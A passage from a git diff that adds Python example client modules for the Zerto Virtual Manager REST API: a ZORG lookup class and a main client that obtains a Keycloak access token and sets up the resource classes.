{vra_identifier}.") + return response.json() + except requests.exceptions.RequestException as e: + logging.error(f"VRA.recommend_recovery_vra_change: Failed to recommend recovery VRA change for identifier {vra_identifier}: {e}") + raise \ No newline at end of file diff --git a/zvml/zorgs.py b/zvml/zorgs.py new file mode 100644 index 0000000..da08ad1 --- /dev/null +++ b/zvml/zorgs.py @@ -0,0 +1,59 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class Zorgs: + def __init__(self, client): + self.client = client + + def get_zorgs(self, zorg_identifier=None): + """ + Get ZORG information. If zorg_identifier is provided, returns details for that specific ZORG. + + Args: + zorg_identifier (str, optional): The identifier of a specific ZORG + + Returns: + dict/list: ZORG information. Returns a list of all ZORGs if no identifier is provided, + or details of a specific ZORG if identifier is provided. + """ + url = f"https://{self.client.zvm_address}/v1/zorgs" + if zorg_identifier: + url = f"{url}/{zorg_identifier}" + logging.info(f"Zorgs.get_zorgs: Fetching ZORG {zorg_identifier}...") + else: + logging.info("Zorgs.get_zorgs: Fetching all ZORGs...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + except Exception as e: + logging.error(f"Unexpected error: {e}") + raise \ No newline at end of file diff --git a/zvml/zvml.py b/zvml/zvml.py new file mode 100644 index 0000000..2455deb --- /dev/null +++ b/zvml/zvml.py @@ -0,0 +1,109 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import ssl + +# Configure logging with timestamp format +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s', + datefmt='%Y-%m-%d %H:%M:%S' +) + +# Import all necessary classes +from .tasks import Tasks +from .vpgs import VPGs +# from .vpg_settings import VPGSettings +from .vms import VMs +from .failover import Failover +from .alerts import Alerts +from .peersites import PeerSites +from .events import Events +from .repositories import Repositories +from .sessions import Sessions +from .recoveryscripts import RecoveryScripts +from .encryptiondetection import EncryptionDetection +from .zorgs import Zorgs +from .localsite import LocalSite +from .datastores import Datastores +from .vras import VRA +from .recovery_reports import RecoveryReports +from .license import License +from .service_profiles import ServiceProfiles +from .server_date_time import ServerDateTime +from .virtualization_sites import VirtualizationSites +from .volumes import Volumes +from .tweaks import Tweaks +# Disable SSL warnings for self-signed certificates +context = ssl._create_unverified_context() + +class ZVMLClient: + def __init__(self, zvm_address, client_id, client_secret, verify_certificate=True): + self.zvm_address = zvm_address + self.client_id = client_id + self.client_secret = client_secret + self.verify_certificate = verify_certificate + self.token = None + self.token_expiry = None + self.__get_keycloak_token() + self.tasks = Tasks(self) + self.vpgs = VPGs(self) + # self.vpg_settings = VPGSettings(self) + self.vms = VMs(self) + self.failover = Failover(self) + self.alerts = Alerts(self) + self.peersites = PeerSites(self) + self.events = Events(self) + self.repositories = Repositories(self) + self.sessions = Sessions(self) + self.recoveryscripts = RecoveryScripts(self) + self.zorgs = Zorgs(self) + self.encryptiondetection = EncryptionDetection(self) + self.localsite = LocalSite(self.zvm_address, self.token) + self.datastores = Datastores(self) + self.vras = VRA(self) + self.recovery_reports = RecoveryReports(self) + self.license = License(self) + self.service_profiles = ServiceProfiles(self) + self.server_date_time = ServerDateTime(self) + self.virtualization_sites = VirtualizationSites(self) + self.volumes = Volumes(self) + self.tweaks = Tweaks(self) + def __get_keycloak_token(self): + logging.debug(f'__get_keycloak_token(zvm_address={self.zvm_address})') + keycloak_uri = f"https://{self.zvm_address}/auth/realms/zerto/protocol/openid-connect/token" + headers = {'Content-Type': 'application/x-www-form-urlencoded'} + body = { + 'client_id': self.client_id, + 'client_secret': self.client_secret, + 'grant_type': 'client_credentials', + 'expires_in': 3600 # Request token expiration in seconds (e.g., 1 hour) + } + + try: + logging.info("Connecting to Keycloak to get token...") + response = requests.post(keycloak_uri, headers=headers, data=body, verify=self.verify_certificate) + response.raise_for_status() + token_data = response.json() + self.token = token_data.get('access_token') + self.token_expiry = token_data.get('expires_in') # Store expiration time + logging.info(f"Successfully retrieved token.") + logging.info(f"Token expiration details:") + logging.info(f"- Expires in: {self.token_expiry} seconds") + logging.info(f"- Requested expiration: {body['expires_in']} seconds") + if self.token_expiry != body['expires_in']: + logging.warning(f"Server provided different expiration time than requested!") + return self.token + except requests.exceptions.RequestException as e: + logging.error(f"Error retrieving token: {e}") + raise \ No newline at end of file